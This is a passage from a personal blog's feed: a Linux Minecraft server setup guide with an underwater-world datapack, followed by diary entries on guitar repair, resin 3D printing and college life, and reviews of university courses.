&lt;h2 id=&quot;how-to-set-up-a-minecraft-server&quot;&gt;&lt;a aria-hidden=&quot;true&quot; tabindex=&quot;-1&quot; href=&quot;#how-to-set-up-a-minecraft-server&quot;&gt;&lt;span class=&quot;icon icon-link&quot;&gt;&lt;/span&gt;&lt;/a&gt;How to Set Up a Minecraft Server&lt;/h2&gt;
&lt;p&gt;I’ll only cover how to install on Linux here. If you’re following my tutorial, switch your host to Linux first. &lt;del&gt;I don’t have a Windows device to play on anyway&lt;/del&gt;.&lt;/p&gt;
&lt;h3 id=&quot;where-to-host&quot;&gt;&lt;a aria-hidden=&quot;true&quot; tabindex=&quot;-1&quot; href=&quot;#where-to-host&quot;&gt;&lt;span class=&quot;icon icon-link&quot;&gt;&lt;/span&gt;&lt;/a&gt;Where to host?&lt;/h3&gt;
&lt;p&gt;According to the official &lt;a href=&quot;https://minecraft.wiki/w/Tutorial:Setting_up_a_Java_Edition_server&quot;&gt;docs&lt;/a&gt;, if you’re not expecting too many players:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;CPU: &lt;strong&gt;Intel 8th gen&lt;/strong&gt; or &lt;strong&gt;Ryzen 2000 series&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;RAM: 2～4GB&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;I set it up on my &lt;a href=&quot;en/post/raspiLocalhost/&quot;&gt;Raspberry Pi&lt;/a&gt; and it works fine—two or three people playing together is no problem.&lt;/p&gt;
&lt;h3 id=&quot;install-java&quot;&gt;&lt;a aria-hidden=&quot;true&quot; tabindex=&quot;-1&quot; href=&quot;#install-java&quot;&gt;&lt;span class=&quot;icon icon-link&quot;&gt;&lt;/span&gt;&lt;/a&gt;Install Java&lt;/h3&gt;
&lt;p&gt;Since I play the Java Edition, multiplayer means setting up a Java server, of course. First, check if Java is installed. Run in terminal:&lt;/p&gt;
&lt;pre class=&quot;astro-code github-dark-default&quot; style=&quot;background-color:#0d1117;color:#e6edf3; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;bash&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFA657&quot;&gt;java&lt;/span&gt;&lt;span style=&quot;color:#79C0FF&quot;&gt; --verion&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;If something like this appears, Java is already installed:&lt;/p&gt;
&lt;pre class=&quot;astro-code github-dark-default&quot; style=&quot;background-color:#0d1117;color:#e6edf3; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;plaintext&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;openjdk 21.0.9 2025-10-21&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;OpenJDK Runtime Environment (build 21.0.9+10-Ubuntu-125.10)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;OpenJDK 64-Bit Server VM (build 21.0.9+10-Ubuntu-125.10, mixed mode, sharing)&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;If not installed, different OS has different installation methods. Since I use Ubuntu, I’ll only cover Ubuntu—refer to the &lt;a href=&quot;https://minecraft.wiki/w/Tutorial:Update_Java#Linux_distributions&quot;&gt;official docs&lt;/a&gt; for other OS:&lt;/p&gt;
&lt;pre class=&quot;astro-code github-dark-default&quot; style=&quot;background-color:#0d1117;color:#e6edf3; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;bash&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFA657&quot;&gt;sudo&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt; apt&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt; update&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt; &amp;#x26;&amp;#x26; &lt;/span&gt;&lt;span style=&quot;color:#FFA657&quot;&gt;sudo&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt; apt&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt; upgrade&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFA657&quot;&gt;sudo&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt; apt&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt; install&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt; openjdk-21-jdk&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h3 id=&quot;get-serverjar&quot;&gt;&lt;a aria-hidden=&quot;true&quot; tabindex=&quot;-1&quot; href=&quot;#get-serverjar&quot;&gt;&lt;span class=&quot;icon icon-link&quot;&gt;&lt;/span&gt;&lt;/a&gt;Get server.jar&lt;/h3&gt;
&lt;p&gt;You can directly click this &lt;a href=&quot;https://piston-data.mojang.com/v1/objects/64bb6d763bed0a9f1d632ec347938594144943ed/server.jar&quot;&gt;link&lt;/a&gt;—this is the latest version 1.21.11 server file at the time of writing. Then run at the file location:&lt;/p&gt;
&lt;pre class=&quot;astro-code github-dark-default&quot; style=&quot;background-color:#0d1117;color:#e6edf3; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;bash&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFA657&quot;&gt;java&lt;/span&gt;&lt;span style=&quot;color:#79C0FF&quot;&gt; -Xmx1024M&lt;/span&gt;&lt;span style=&quot;color:#79C0FF&quot;&gt; -Xms1024M&lt;/span&gt;&lt;span style=&quot;color:#79C0FF&quot;&gt; -jar&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt; server.jar&lt;/span&gt;&lt;span style=&quot;color:#79C0FF&quot;&gt; --nogui&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;Xmx&lt;/code&gt; is max memory usage; &lt;code&gt;Xms&lt;/code&gt; is min memory usage. The final &lt;code&gt;nogui&lt;/code&gt; means no GUI needed—if you don’t add it, maybe a window will pop up? I haven’t tried. After starting then closing, you’ll find many folders created. &lt;code&gt;server.properties&lt;/code&gt; is where you configure server environment variables—server name, player limits, difficulty, etc. If you can read English, it’s pretty clear. The &lt;code&gt;world&lt;/code&gt; folder, as the name suggests, holds world saves. I tried moving a single-player world folder to the server for multiplayer and it worked directly. Also &lt;code&gt;/world/datapacks/&lt;/code&gt; is where you put mods and texture packs. If they don’t work, you can generate the world in single-player first then move it to the server.&lt;/p&gt;
&lt;h2 id=&quot;mod-installation-atlantis&quot;&gt;&lt;a aria-hidden=&quot;true&quot; tabindex=&quot;-1&quot; href=&quot;#mod-installation-atlantis&quot;&gt;&lt;span class=&quot;icon icon-link&quot;&gt;&lt;/span&gt;&lt;/a&gt;Mod Installation: Atlantis&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;https://img.windson.cc/images/2026/01/minecraft-server/atlantis.webp&quot; alt=&quot;Atlantis&quot;&gt;&lt;/p&gt;
&lt;p&gt;This is a mod I loved from childhood. Your spawn point is in a small glass house, and the whole world is underwater. For details, check &lt;a href=&quot;https://youtube.com/playlist?list=PLBtVUsNOhEjtbg0V1kLzS1slOzFV0GuTX&amp;#x26;si=GHIkMoWg9i9uu-Te&quot;&gt;Wu Qiufeng Minecraft Survival - Atlantis - Keep the Last Breath&lt;/a&gt;—this is a 12-year-old series from when Minecraft was still at 1.5.1. Playing now is purely completing a childhood dream.&lt;/p&gt;
&lt;p&gt;Wu Qiufeng played 1.5.1. Recently, someone remade it, making it playable on 1.21+. For installation, go to &lt;a href=&quot;https://github.com/Mzhuangshao/atlantis?tab=readme-ov-file&quot;&gt;GitHub&lt;/a&gt; to download and experience the underwater world you wanted as a kid. Installation is super easy—just put the downloaded zip file in &lt;code&gt;/world/datapacks/&lt;/code&gt; and you’re done. If you’re too lazy to set one up or want to play with me, &lt;a href=&quot;mailto:info@windson.cc&quot;&gt;email&lt;/a&gt; me and I’ll try to get you in.&lt;/p&gt;</content:encoded></item><item><title>Weekly Diary | 25/12/31</title><link>https://www.windson.cc/en/posts/diary-7/</link><guid isPermaLink="true">https://www.windson.cc/en/posts/diary-7/</guid><description> This year’s matters, this year’s done. Hurrying to post this year’s content on the last day of 2025. These past few weeks were struggling in finals, finally out of prison these few days. Though it’s </description><pubDate>Wed, 31 Dec 2025 00:00:00 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;This year’s matters, this year’s done. Hurrying to post this year’s content on the last day of 2025. These past few weeks were struggling in finals, finally out of prison these few days. Though it’s fine now, actually there’s still a lot that can be done. Think it’s a good time to start from next year, resting first recently.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;!--more--&gt;
&lt;h2 id=&quot;guitar-strings&quot;&gt;&lt;a aria-hidden=&quot;true&quot; tabindex=&quot;-1&quot; href=&quot;#guitar-strings&quot;&gt;&lt;span class=&quot;icon icon-link&quot;&gt;&lt;/span&gt;&lt;/a&gt;Guitar Strings&lt;/h2&gt;
&lt;p&gt;My guitar after &lt;a href=&quot;/zh/post/cocktail/&quot;&gt;last performance&lt;/a&gt;, sound started getting weird. The most obvious is the sixth string — open string tuning is good, but when finger pressed, pitch goes off. Sometimes right when pressed, sometimes wrong, sometimes high sometimes low. Since don’t use acoustic guitar much for performances, didn’t fix right away, just thought it’s weird.&lt;/p&gt;
&lt;p&gt;But during &lt;a href=&quot;/zh/post/diary-6/#%E5%90%89%E4%BB%96%E7%A4%BE&quot;&gt;club class&lt;/a&gt; last time, found its pitch really can’t anymore. Very off, can’t use it for class. Plus &lt;del&gt;can’t study well before finals&lt;/del&gt;. So on weekend, drove to Shalu to send it for emergency. Shop owner after checking, frowned, asked: “Did I change the strings last time?” “No, string broke and changed before.” “He installed the 5th and 6th strings reversed.”&lt;/p&gt;
&lt;p&gt;Everyone科普 — not recommended to swap if reversed, because will have metal fatigue. Already curled and pulled straight and curled again, will break very easily. Plus might have length issues, usually just replace new in this situation. Because of this, spent more money on new strings — just bought this guitar less than half a year, various reasons changed strings twice. Won’t go there again next time, not naming names, just location near Wen-Hua High School.&lt;/p&gt;
&lt;h2 id=&quot;stereolithography&quot;&gt;&lt;a aria-hidden=&quot;true&quot; tabindex=&quot;-1&quot; href=&quot;#stereolithography&quot;&gt;&lt;span class=&quot;icon icon-link&quot;&gt;&lt;/span&gt;&lt;/a&gt;Stereolithography&lt;/h2&gt;
&lt;p&gt;After last failure, did major revamp on model. Since apparently support issues, thickened and densified model’s supports. But… result doesn’t seem very successful.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://img.windson.cc/images/diary/diary-7/sla.webp&quot; alt=&quot;SLA&quot;&gt;&lt;/p&gt;
&lt;p&gt;This time printed Eye of the Truth, Master Sword, Hylia Shield, Donkey Kong, Kirby.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Eye of the Truth&lt;/strong&gt;&lt;br&gt;
Only printed the fire and outer frame. To avoid failure, printed two. As shown, only one center and one broken frame succeeded. Don’t know where problem is, guess maybe model too thin, didn’t form, or resin not shaken evenly, or mixing new and old. Too many factors affecting stereolithography printing.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Master Sword&lt;/strong&gt;&lt;br&gt;
Original design was to print two and glue together, but another sunk into resin. One half broken Master Sword, as broken version, reproduced quite well.&lt;/p&gt;
&lt;pre class=&quot;astro-code github-dark-default&quot; style=&quot;background-color:#0d1117;color:#e6edf3; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;plaintext&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;![Rotten Master Sword](https://cdn.kiranico.net/file/kiranico/zelda/webp/Icon/Weapon_Sword_070_Broken.webp)&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Hylia Shield&lt;/strong&gt;&lt;br&gt;
Only one seems relatively successful, just the side touching the board warped. Reason unknown.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Donkey Kong&lt;/strong&gt;&lt;br&gt;
Most complete after printing, things on it very sturdy, no missing parts. But means its supports are also very sturdy. Result in whole model can’t smoothly separate from supports, had many support pillar marks on it, looks very weird.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Kirby&lt;/strong&gt;&lt;br&gt;
Because testing if supports needed, designed one without supports, others with. When finished product came out, found hat disappeared. Hat structure is arch-bridge shape (not real bridge, just parabolic with downward curve), and stereolithography prints layer by layer upside down — naturally can’t print.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&quot;the-warriors-clouds-of-swan&quot;&gt;&lt;a aria-hidden=&quot;true&quot; tabindex=&quot;-1&quot; href=&quot;#the-warriors-clouds-of-swan&quot;&gt;&lt;span class=&quot;icon icon-link&quot;&gt;&lt;/span&gt;&lt;/a&gt;The Warriors: Clouds of Swan&lt;/h2&gt;
&lt;p&gt;I’m really not resistant to open-world games, so started another open-world. Difficulty can be adjusted, hardest feels similar to Elden Ring. Saying all this, just want to post screenshots — game’s scenery is really beautiful.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://img.windson.cc/images/diary/diary-7/1.jpg&quot; alt=&quot;1&quot;&gt;&lt;br&gt;
&lt;img src=&quot;https://img.windson.cc/images/diary/diary-7/2.jpg&quot; alt=&quot;2&quot;&gt;&lt;br&gt;
&lt;img src=&quot;https://img.windson.cc/images/diary/diary-7/3.jpg&quot; alt=&quot;3&quot;&gt;&lt;br&gt;
&lt;img src=&quot;https://img.windson.cc/images/diary/diary-7/4.jpg&quot; alt=&quot;4&quot;&gt;&lt;br&gt;
&lt;img src=&quot;https://img.windson.cc/images/diary/diary-7/5.jpg&quot; alt=&quot;5&quot;&gt;&lt;br&gt;
&lt;img src=&quot;https://img.windson.cc/images/diary/diary-7/6.jpg&quot; alt=&quot;6&quot;&gt;&lt;br&gt;
&lt;img src=&quot;https://img.windson.cc/images/diary/diary-7/7.jpg&quot; alt=&quot;7&quot;&gt;&lt;br&gt;
&lt;img src=&quot;https://img.windson.cc/images/diary/diary-7/8.jpg&quot; alt=&quot;8&quot;&gt;&lt;/p&gt;
&lt;h2 id=&quot;feeling-time&quot;&gt;&lt;a aria-hidden=&quot;true&quot; tabindex=&quot;-1&quot; href=&quot;#feeling-time&quot;&gt;&lt;span class=&quot;icon icon-link&quot;&gt;&lt;/span&gt;&lt;/a&gt;Feeling Time&lt;/h2&gt;
&lt;p&gt;Started going to tutoring center this summer vacation, looking at those high schoolers, discovered I’m really in college. Freshman year maybe didn’t feel much, everyone still has overlapping classes. But this semester, I took advanced courses, took courses in other department — except required courses, rarely meet friends. Suddenly miss high school time — back then, going to convenience store, eating, to bathroom, all walked together. This semester started, going to class alone, eating alone, plus Thursday and Friday no class, alone time becomes a lot. Can do lots of things want, but not used to spending whole day alone. Next year’s assignment might be to &lt;a href=&quot;https://www.youtube.com/watch?v=1T4nt8JfNzU&quot;&gt;practice living alone&lt;/a&gt;. Hope can get used to this next year, Happy New Year!&lt;/p&gt;</content:encoded></item><item><title>Course Sharing</title><link>https://www.windson.cc/en/posts/nchu-course-share-1/</link><guid isPermaLink="true">https://www.windson.cc/en/posts/nchu-course-share-1/</guid><description> This semester finally ended! Time to share what courses I took this term. Which courses are worth taking multiple times, which to avoid—consider this information sharing! This share isn’t limited to </description><pubDate>Fri, 26 Dec 2025 00:00:00 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;This semester finally ended! Time to share what courses I took this term. Which courses are worth taking multiple times, which to avoid—consider this information sharing! This share isn’t limited to just this semester’s courses, since I didn’t know how to blog before.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;!--more--&gt;
&lt;p&gt;The following is personal opinion—please don’t choose courses based solely on my reviews. What seems easy to me doesn’t mean it’s easy for you, and what seems hard to me isn’t necessarily really hard. So please gather multiple opinions and follow your own interests when selecting courses.&lt;/p&gt;
&lt;h2 id=&quot;required-courses&quot;&gt;&lt;a aria-hidden=&quot;true&quot; tabindex=&quot;-1&quot; href=&quot;#required-courses&quot;&gt;&lt;span class=&quot;icon icon-link&quot;&gt;&lt;/span&gt;&lt;/a&gt;Required Courses&lt;/h2&gt;
&lt;h3 id=&quot;calculus--deng-junhao&quot;&gt;&lt;a aria-hidden=&quot;true&quot; tabindex=&quot;-1&quot; href=&quot;#calculus--deng-junhao&quot;&gt;&lt;span class=&quot;icon icon-link&quot;&gt;&lt;/span&gt;&lt;/a&gt;Calculus — Deng Junhao&lt;/h3&gt;
&lt;p&gt;The professor teaches very earnestly, and I’ve heard the instruction is good. Why “heard”? &lt;del&gt;Because I never attended class&lt;/del&gt;. The professor said: “I won’t fail you just because you don’t come to class.” Basically, pass the exams and you’re good. But since this semester started teaching entirely in English, I don’t know if the difficulty has changed. Personally, the difficulty isn’t high, but there’s a lot of homework—about 200 problems per exam, mostly dirty work. I’d recommend students from other departments not take this—you won’t have time for homework. For department juniors… you can’t escape this. If you want to coast through, study ahead during winter/summer break. Finish early, relax early (that’s how I passed). Even so, you’ll see many upperclassmen in Calculus II—reasons unknown, probably &lt;strong&gt;good courses are worth taking repeatedly&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://img.windson.cc/images/2025/12/nchu-course-share-1/calculus1.webp&quot; alt=&quot;calculus1&quot;&gt;
&lt;img src=&quot;https://img.windson.cc/images/2025/12/nchu-course-share-1/calculus2.webp&quot; alt=&quot;calculus2&quot;&gt;&lt;/p&gt;
&lt;h3 id=&quot;linear-algebra--xie-bowen&quot;&gt;&lt;a aria-hidden=&quot;true&quot; tabindex=&quot;-1&quot; href=&quot;#linear-algebra--xie-bowen&quot;&gt;&lt;span class=&quot;icon icon-link&quot;&gt;&lt;/span&gt;&lt;/a&gt;Linear Algebra — Xie Bowen&lt;/h3&gt;
&lt;p&gt;This course is &lt;strong&gt;hard! Super hard!&lt;/strong&gt; The class is basically all about proofs—not just matrix operations and eigenvalue calculations. If time allows, every theorem gets proven in class, so you understand the origins of all this abstract stuff, &lt;del&gt;and learn how to communicate with spirits&lt;/del&gt;. Taking lecture notes is a must: one reason is you might not have material to study at home since the professor doesn’t follow the textbook (and you won’t want to read it anyway); second reason is they need to be submitted at the end of term. If you fail but have notes submitted… &lt;del&gt;he might treat you to Haidilao&lt;/del&gt;, no wait, he might fish you out from the depths. Apparently he pulls up people whose scores were 30-40 on average! Don’t be afraid of failing or withdrawing—he might fish you out. Though if you’re concerned about GPA, that’s a different story.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://img.windson.cc/images/2025/12/nchu-course-share-1/LA-1.webp&quot; alt=&quot;LA 1&quot;&gt;
&lt;img src=&quot;https://img.windson.cc/images/2025/12/nchu-course-share-1/LA-2.webp&quot; alt=&quot;LA 2&quot;&gt;&lt;/p&gt;
&lt;h3 id=&quot;data-structures--guo-zhi-en&quot;&gt;&lt;a aria-hidden=&quot;true&quot; tabindex=&quot;-1&quot; href=&quot;#data-structures--guo-zhi-en&quot;&gt;&lt;span class=&quot;icon icon-link&quot;&gt;&lt;/span&gt;&lt;/a&gt;Data Structures — Guo Zhi-en&lt;/h3&gt;
&lt;p&gt;Super chill! You can get the grade, and if you pay attention you can actually learn something—&lt;strong&gt;assuming you have absolutely zero background&lt;/strong&gt;. If you already know something and want to actually learn, I’d recommend taking Data Structures from the CS department, but if you’re in our department, ask the office about credit transfers. This course has four exams total: two quizzes (20% each), midterm (25%), final (25%)—basically means taking four midterms. But all the exam papers look exactly like past exam questions. Memorize the answers before the test and scoring high is easy.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Want my past exam questions? If you want them, I can give you all of them. Go look for yourself! I put all the past exams there!&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;img src=&quot;https://img.windson.cc/images/2025/12/nchu-course-share-1/gol-roger.webp&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;h3 id=&quot;programming--peng-guan-ju-tu-jing-ting&quot;&gt;&lt;a aria-hidden=&quot;true&quot; tabindex=&quot;-1&quot; href=&quot;#programming--peng-guan-ju-tu-jing-ting&quot;&gt;&lt;span class=&quot;icon icon-link&quot;&gt;&lt;/span&gt;&lt;/a&gt;Programming — Peng Guan-ju, Tu Jing-ting&lt;/h3&gt;
&lt;p&gt;One of the chillest courses, plus I already know it, so it’s extra extra chill. First half of the semester is Peng Guan-ju—class is basically watching videos. Attending is the same as watching at home, except, no—going to class and getting interrupted by break time halfway through, watching at home doesn’t have that problem. My suggestion? Don’t bother going. Second half is Tu Jing-ting, who teaches differently from the first half and takes attendance. When I took this course last year, there were assignments and exams, but this time I heard there are no assignments and weekly quizzes instead. Seems like things keep changing year to year, so this intel isn’t very useful.&lt;/p&gt;
&lt;h3 id=&quot;operating-systems--yan-zeng-chang&quot;&gt;&lt;a aria-hidden=&quot;true&quot; tabindex=&quot;-1&quot; href=&quot;#operating-systems--yan-zeng-chang&quot;&gt;&lt;span class=&quot;icon icon-link&quot;&gt;&lt;/span&gt;&lt;/a&gt;Operating Systems — Yan Zeng-chang&lt;/h3&gt;
&lt;p&gt;Teaches from custom handouts with blanks to fill, so you need to pay attention in class (at least fill in the blanks). He’s one of the more conscientious professors in our department. If you pay attention, you’ll understand everything. But after seeing the dinosaur book, I feel his teaching is superficial—a large portion got cut. He only teaches what’s really important. Three exams per semester, all he says are optional. If the two add up to 180 points, you can skip the final. As for last-minute saves when you almost fail? Submit your notes! I’ve heard submitting can add up to 10 points on the final. If you want to preview my notes, I put them in the &lt;a href=&quot;https://study.windson.cc/docs/OS/intro&quot;&gt;notes section&lt;/a&gt;.&lt;/p&gt;
&lt;h3 id=&quot;computer-organization--li-pei-ru&quot;&gt;&lt;a aria-hidden=&quot;true&quot; tabindex=&quot;-1&quot; href=&quot;#computer-organization--li-pei-ru&quot;&gt;&lt;span class=&quot;icon icon-link&quot;&gt;&lt;/span&gt;&lt;/a&gt;Computer Organization — Li Pei-ru&lt;/h3&gt;
&lt;p&gt;This is the most闷 class I’ve taken—physically闷, I mean. I don’t know why I always feel闷 during this class. The air is filled with carbon dioxide, making it impossible to think clearly. Plus the professor’s voice makes people fall asleep directly. So if you want to learn, studying on your own is more efficient. I’d recommend the NTHU Open Courseware—the explanations are very clear. But NTHU uses MIPS, while the professor uses RISC-V, so you’d need to relearn the assembly part yourself. Both midterm and final aren’t easy. The hardest part is being a human compiler—averaging 30-40 points. Be prepared if you take this.&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id=&quot;freshman-chinese--chen-chang-yuan&quot;&gt;&lt;a aria-hidden=&quot;true&quot; tabindex=&quot;-1&quot; href=&quot;#freshman-chinese--chen-chang-yuan&quot;&gt;&lt;span class=&quot;icon icon-link&quot;&gt;&lt;/span&gt;&lt;/a&gt;Freshman Chinese — Chen Chang-yuan&lt;/h3&gt;
&lt;p&gt;A great teacher deserves lifelong recommendation! Class feels like chatting, though it’s one-sided—he just talks. But if you listen carefully, you’ll learn a lot, the kind of life wisdom level, and some ancient people’s ways of thinking. His course only has a final report, self-introduction nine-grid, and the school’s required reading reflections. Sometimes they’ll watch Farewell My Concubine. Really recommend this. Also gives high grades.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://img.windson.cc/images/2025/12/nchu-course-share-1/chinese.webp&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;Even though it might sound bad, as long as you attend group work and presentations, your grade won’t be bad. Quick, select it!!!!&lt;/p&gt;
&lt;h3 id=&quot;freshman-english--lin-jian-guang&quot;&gt;&lt;a aria-hidden=&quot;true&quot; tabindex=&quot;-1&quot; href=&quot;#freshman-english--lin-jian-guang&quot;&gt;&lt;span class=&quot;icon icon-link&quot;&gt;&lt;/span&gt;&lt;/a&gt;Freshman English — Lin Jian-guang&lt;/h3&gt;
&lt;p&gt;There’s a quiz every class, 10 questions, usually findable in the textbook. About every two topics you need to submit a video, content varies by topic. This course isn’t relaxing, but you can feel the professor tries to make it not so boring—teaching assistants lead activities and discussions, though these don’t count toward grades. His grading is transparent—only the final report counts. But my grade in this class wasn’t high, not because my English is bad, just because I didn’t buy the textbook. His exam papers almost all come from the textbook, quizzes and exams alike. The reading comprehension on the final gives you the article but won’t provide the text. I think this design sucks because I can’t get points. Want a high grade? Read the textbook thoroughly! As for how I passed without a textbook? I might be able to communicate with spirits—with spirit communication comes answers.&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id=&quot;general-education&quot;&gt;&lt;a aria-hidden=&quot;true&quot; tabindex=&quot;-1&quot; href=&quot;#general-education&quot;&gt;&lt;span class=&quot;icon icon-link&quot;&gt;&lt;/span&gt;&lt;/a&gt;General Education&lt;/h2&gt;
&lt;h3 id=&quot;beginning-piano-performance&quot;&gt;&lt;a aria-hidden=&quot;true&quot; tabindex=&quot;-1&quot; href=&quot;#beginning-piano-performance&quot;&gt;&lt;span class=&quot;icon icon-link&quot;&gt;&lt;/span&gt;&lt;/a&gt;Beginning Piano Performance&lt;/h3&gt;
&lt;p&gt;The prerequisite for this course is knowing how to play piano, even just a little (and by “a little” I mean around Kawai Piano Certification Level 13, not just one-finger-ing Twinkle Twinkle Little Star). Because you can’t learn piano just from class time. This course has two people per electronic piano. Midterm is playing for the teacher, and the final is like a showcase—you perform on stage. Those who already know how to play choose their own songs, while those who don’t have a set range. If you want to choose, pick sections 3 or 4, so you don’t have to help carry the piano, and you can stay and practice after class if you want. As for grades? They must be high, otherwise I wouldn’t recommend them, right?&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://img.windson.cc/images/2025/12/nchu-course-share-1/piano.webp&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id=&quot;other-departments&quot;&gt;&lt;a aria-hidden=&quot;true&quot; tabindex=&quot;-1&quot; href=&quot;#other-departments&quot;&gt;&lt;span class=&quot;icon icon-link&quot;&gt;&lt;/span&gt;&lt;/a&gt;Other Departments&lt;/h2&gt;
&lt;h3 id=&quot;introduction-to-information-security&quot;&gt;&lt;a aria-hidden=&quot;true&quot; tabindex=&quot;-1&quot; href=&quot;#introduction-to-information-security&quot;&gt;&lt;span class=&quot;icon icon-link&quot;&gt;&lt;/span&gt;&lt;/a&gt;Introduction to Information Security&lt;/h3&gt;
&lt;p&gt;This course is required for MIS and CS majors. Most of it covers information security defense—attacks only get briefly taught in TA sessions. Not very useful if you want to be a hacker. It’s all theory—if you want hands-on practice, do it at home, since there are 100+ students in that class. All exams are short-answer questions—though everything’s in the slides, memorizing it all is exhausting. Unless you can get past exams from someone, I don’t recommend this course.&lt;/p&gt;</content:encoded></item><item><title>Weekly Diary | 25/12/09</title><link>https://www.windson.cc/en/posts/diary-6/</link><guid isPermaLink="true">https://www.windson.cc/en/posts/diary-6/</guid><description>Birthday This week was my 20th anniversary of being alive on Earth. Starting from some point, I never really liked birthdays, or understood why I should celebrate. So I usually don’t tell anyone when </description><pubDate>Tue, 09 Dec 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h2 id=&quot;birthday&quot;&gt;&lt;a aria-hidden=&quot;true&quot; tabindex=&quot;-1&quot; href=&quot;#birthday&quot;&gt;&lt;span class=&quot;icon icon-link&quot;&gt;&lt;/span&gt;&lt;/a&gt;Birthday&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;This week was my 20th anniversary of being alive on Earth.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Starting from some point, I never really liked birthdays, or understood why I should celebrate. So I usually don’t tell anyone when my birthday is. Maybe it’s singing the birthday song that feels awkward — feels weird singing since childhood. Or needing to come up with three wishes every year, wishes that basically never come true, usually don’t even remember what I wished for. Also, having to say the wish out loud feels fake. The easiest for me is the third wish — everyone says if you say it out loud it won’t come true, but actually whether you say it or not, it won’t happen anyway. So the third wish is basically a empty moment — usually thinking about wanting cake. At least this has the highest chance of actually happening, and the response time is short. Now for me, birthday is a day to eat cake and exchange gifts — not bad either.&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id=&quot;guitar-club&quot;&gt;&lt;a aria-hidden=&quot;true&quot; tabindex=&quot;-1&quot; href=&quot;#guitar-club&quot;&gt;&lt;span class=&quot;icon icon-link&quot;&gt;&lt;/span&gt;&lt;/a&gt;Guitar Club&lt;/h2&gt;
&lt;p&gt;This class taught &lt;a href=&quot;https://youtu.be/Zn8M6mcGNoo?si=4z5A4lLccrySwzOf&quot;&gt;Planets&lt;/a&gt;, discovered I still can’t teach guitar. I never learned systematically — ever since I could read tabs, I just played from the tabs. Suddenly being asked to teach from a tab is still very difficult. Last time taught something too simple, thinking teach something harder this time, so it can last longer, won’t end before time’s up. Result — unexpectedly had an accident again, teaching this hard still ended 15 minutes early. Usually at this difficulty, only problem is not finishing in time. Here’s the &lt;a href=&quot;https://shihyuemusicstudio.easy.co/blogs/news/%E8%A1%8C%E6%98%9F-%E5%90%89%E4%BB%96%E8%AD%9C&quot;&gt;tab&lt;/a&gt;, you’ll see I’m telling the truth — normally can’t finish in two hours.&lt;/p&gt;
&lt;hr&gt;
